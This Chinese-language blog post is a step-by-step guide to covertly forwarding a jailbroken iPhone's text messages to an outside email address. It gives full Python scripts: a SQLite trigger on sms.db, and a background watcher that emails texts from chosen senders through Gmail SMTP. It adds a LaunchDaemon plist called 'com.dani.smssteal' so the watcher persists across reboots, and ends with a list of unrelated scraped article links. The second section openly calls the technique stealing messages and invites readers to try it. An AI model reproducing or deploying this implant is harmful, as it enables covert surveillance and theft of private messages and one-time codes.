iPhone上将短信内容发送到指定邮箱的方法
- iPhone上将短信内容发送到指定邮箱的方法
- 迄今为止,移动应用安全基本聚焦在以下几个方面,一是移动设备管理BYOD(bring your own device),二是移动恶意软件分析,三是移动设备用户隐私安全,四是移动操作系统内核漏洞挖掘。对普通用户而言,窃取用户隐私数据的恶意软件是很大的威胁。本篇文章旨在介绍一种如何将设备上的短信发送到指定邮箱中的方法,方法来自Forwarding SMS to Email on Jailbroken iOS
实验环境1.iOS 5.1.1越狱设备2. 通过cydia安装 python 2.7.33. 通过cydia安装SQLite 3.x4. 通过Cydia安装adv-cmds一、使用python脚本读取sms.db数据库中存储的短信内容
iOS 短信存储在系统的/var/mobile/Library/SMS/文件夹中,包含3个主要文件:
(1)sms.db,标准的SQLite 3格式,存储主要的短信数据(2)sms.db-shm, "Associate File"(3)sms.db-wal. “Write Ahead Log"danimato-iPod:/var/mobile/Library/SMS root# file sms.db
sms.db: SQLite 3.x databasedanimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm
sms.db-shm: data/var/mobile/Library/SMS root# file sms.db-wal
sms.db-wal: data我们使用SQLite Database Browser打开sms.db,并执行查询语句,会发现如下错误

于是,我们可以使用strings命令查看一下这个文件里面的内容(strings命令在初步分析文件时很有用)
danimato-iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb
打开smsdb文件,可以看到短信message表结构,如下所示
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER,association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT,country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB,madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER,madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT,madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER,is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)
我们可以使用python脚本smsDBQuer.py(注意:原脚本不支持中文,需要改变一下)来查询一下该表中的数据,如下所示输出未读短信数量及内容
#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.comimport sqlite3 as lite
import sys
import smtplibsmspath="/var/mobile/Library/SMS/"
con = lite.connect(smspath+'sms.db')
msg=""with con:
con.row_factory = lite.Row
cur = con.cursor()
cur.execute('SELECT text,adderss from message where read=0 order by date desc')
rows = cur.fetchall()
#data = cur.fetchone()
counter=0
print "Latest displayed first"
for row in rows:
counter+=1
print "Unread Message: %s" % countertextencode = row["text"].encode('gb2312')
print "Text: %s" % textencodeaddressdecode = row["address"].encode('gb2312')
print "Address: %s" % addressdecode
#print "Text: %s" % row["text"]
msg=row["text"]我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py
danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py
运行结果如下:
二、窃取iPhone短信信息接下来演示如何将iPhone上短信信息转发到指定邮箱中1. smsCreateTrigger.py脚本
#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.comimport sqlite3 as lite
import syssmspath="/var/mobile/Library/SMS/"
con = lite.connect(smspath + 'sms.db')
with con:
con.row_factory = lite.Row
cur = con.cursor()#cur.execute('DROP TABLE message2;')
#cur.execute('DROP TRIGGER insert_newest_message_email;')
cur.execute('CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);')
cur.execute('CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO "message2" select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;')
print 'Done.'我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下,修改执行权限,并运行
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py
danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py
Done.该脚本的功能是当message表有记录增加时,将新增记录插入新创建的message2表中
2.smsWatcher.py 脚本#!/usr/bin/python
# smsread.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.comimport sqlite3 as lite
import sys
import smtplib
import timedef sendEmail(msg):
fromaddr = 'abc@gmail.com'
toaddrs = 'xyz@gmail.com'# Credentials
username = 'abc'
password = '****'# The actual mail send snippet
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#"address" is the column name.smspath="/var/mobile/Library/SMS/"
smsfromaddress=('AXARWINF','6564567890',)#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval.
#though it is not one of the efficient methods, considering the purpose of the script it was taken for grantedwhile 1==1:
#Connect to the database and read sms from 'message2' table.
con = lite.connect(smspath+'sms.db')
with con:
con.row_factory = lite.Row
cur = con.cursor()
cur2 = con.cursor()
cur.execute('SELECT * from message2 where emailsent=0 and address=?',smsfromaddress)
rows = cur.fetchall()
for row in rows:
msg='Address is ' + row["address"] + ' Text Message is ' + row["text"].encode('gb2312')
sendEmail(msg)
ROWID = (row["ROWID"],)
cur2.execute('UPDATE message2 SET emailsent=1 WHERE ROWID=?', ROWID)
con.commit()
time.sleep(60)该脚本的功能是将messge2表中指定短信发送到指定邮箱中,我们需要修改脚本中用来接收SMS短信的邮箱相关信息
fromaddr = 'danqingdani@gmail.com' #发件人地址
toaddrs = '335451997@qq.com' #收件人地址username = 'danqingdani@gmail.com' #发件人邮箱名
password = '****'#发件人邮箱密码server = smtplib.SMTP('smtp.gmail.com:587')#发件邮件服务器
smsfromaddress=('AXARWINF','6564567890',)#指定你想窃取的短信来自哪里
上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下,修改执行权限,并在后台运行
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py
danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
[1] 4819当运行上面两个脚本的iPhone有新的短信信息时,短信内容就会发送到你指定的邮箱中去了3.设置脚本开机自动启动上述脚本如果要常驻系统,开机自动启动,需要做以下设置,首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.pydanimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.pydanimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件,配置开机自动启动danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.dani.smssteal</string>
<key>Program</key>
<string>/var/mobile/Library/SMS/smsWatcher</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>danimato-iPod:/System/Library/LaunchDaemons root# launchctl load/System/Library/LaunchDaemons/com.dani.smssteal.plist
有iPhone的朋友可以试一试,欢迎交流
参考资料:http://blog.opensecurityresearch.com/2013/02/forwarding-sms-to-email-on-jailbroken.html
iPhone上将短信内容发送到指定邮箱的方法的更多相关文章
- 调用iPhone的短信
不传递短信内容,可以调用下面的方法: [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"sms://4664 ...
- PHP自练项目之发送短信内容
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- php实现的IMEI限制的短信验证码发送类
php实现的IMEI限制的短信验证码发送类 <?php class Api_Sms{ const EXPIRE_SEC = 1800; // 过期时间间隔 const RESEND_SEC = ...
- 基于android 社会的app短信分享 发送回调事件的实现
摘要 前一段时间.由于项目的需要,采用ShareSDK该共享功能.其中包含 短信股吧.和呼叫系统,以分享要与成功处理服务器交互的消息后,(我不在乎在这里,收到.仅仅关心发出去了).可是ShareSDk ...
- Python使用腾讯云-短信服务发送手机短信
目前[腾讯云短信]为客户提供[国内短信].[国内语音]和[海外短信]三大服务,腾讯云短信SDK支持以下操作: 国内短信 国内短信支持操作: • 指定模板单发短信 • 指定模板群发短信 • 拉取短信回执 ...
- android 监听短信并发送到服务器
1. 接受系统的短信广播,操作短信内容. 优点:操作方便,适合简单的短信应用. 缺点:来信会在状态栏显示通知信息. 2. 应用观察者模式,监听短信数据库,操作短信内容. 实例如下: SystemE ...
- java中用中国网建提供的SMS短信平台发送短信
接下来的项目需求中提到需要短信发送功能,以前没有做过,因此便在网上搜了一下.大体上说的都是有三种方法,分别是sina提供的webservice接口.短信mao和中国网建提供的SMS短信平台. 这三种方 ...
- php 短信网关短信内容不能有空格
最近在做一个短信通知功能,接口参数都按文档写好了,就是不能发送短信,查了半天,原来是短信内容有空格,之前短信用的英文标点符号,符号后都有一个空格,用了date('Y-m-d H,i,s')函数,后来把 ...
- Android短信的发送和接收监听
/**发送与接收的广播**/ String SENT_SMS_ACTION = "SENT_SMS_ACTION"; String DELIVERED_SMS_ACTION = & ...
随机推荐
- The project cannot be built until its prerequisite base-service is built. Cleaning and building all projects is recommended
参考网址:http://chiangfai.iteye.com/blog/2223661,谢谢! 果然如文中所述,close,重新编译即可!
- 浅谈TCP拥塞控制算法
TCP通过维护一个拥塞窗口来进行拥塞控制,拥塞控制的原则是,只要网络中没有出现拥塞,拥塞窗口的值就可以再增大一些,以便把更多的数据包发送出去,但只要网络出现拥塞,拥塞窗口的值就应该减小一些,以减少注入 ...
- WCF使用Net.tcp绑定时候出现错误:元数据包含无法解析的引用
在WCF服务编程中,客户端添加引用服务时,出现如下错误: 元数据包含无法解析的引用:“net.tcp://192.168.1.105:1314/LoginService”. 套接字连接已中止.这可能是 ...
- net MongoDB安装
Mongo服务器端下载链接:https://www.mongodb.com/download-center?jmp=nav 客户端查看工具Mongovue工具下载链接:http://pan.baidu ...
- iis6 和iis7s上整个网站重定向
iis6 和iis7s上整个网站重定向 重定向作用: 重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置.举例说明:就像我XX公司,之前用的网络域名是“www.bb. ...
- intellij 出现“Usage of API documented as @since 1.8+”的解决办法
intellij 出现“Usage of API documented as @since 1.8+”的解决办法 Usage of API documented as @since 1.8+ This ...
- php中empty()、isset()、is_null()和变量本身的布尔判断区别
<?php//预定义变量数组:空字符,字符0,数组0,null,布尔false,空数组$arr_var = array('', '0', 0, null, false, array()); fo ...
- 使用Golang编写优化算法 (1)
动手写点东西是学习新知识很重要的一个阶段.之前用 Python 和 JavaScript 实现优化算法,现在用 Golang 来实现.语法上略有不爽,某些C语言的思维又回来了. - Golang 用 ...
- IIS开多个HTTPS站点
默认情况一个服务器的IIS只能绑定一个HTTPS也就是443端口 要实现多个站点对应HTTPS只能更改IIS配置 地址:C:\Windows\system32\inetsrv\config\appli ...
- JDBC事务与事务隔离级别详解
事务基本概念 一组要么同时执行成功,要么同时执行失败的SQL语句.是数据库操作的一个执行单元. 事务开始于: 连接到数据库上,并执行一条DML语句insert.update或delete 前一个事务结 ...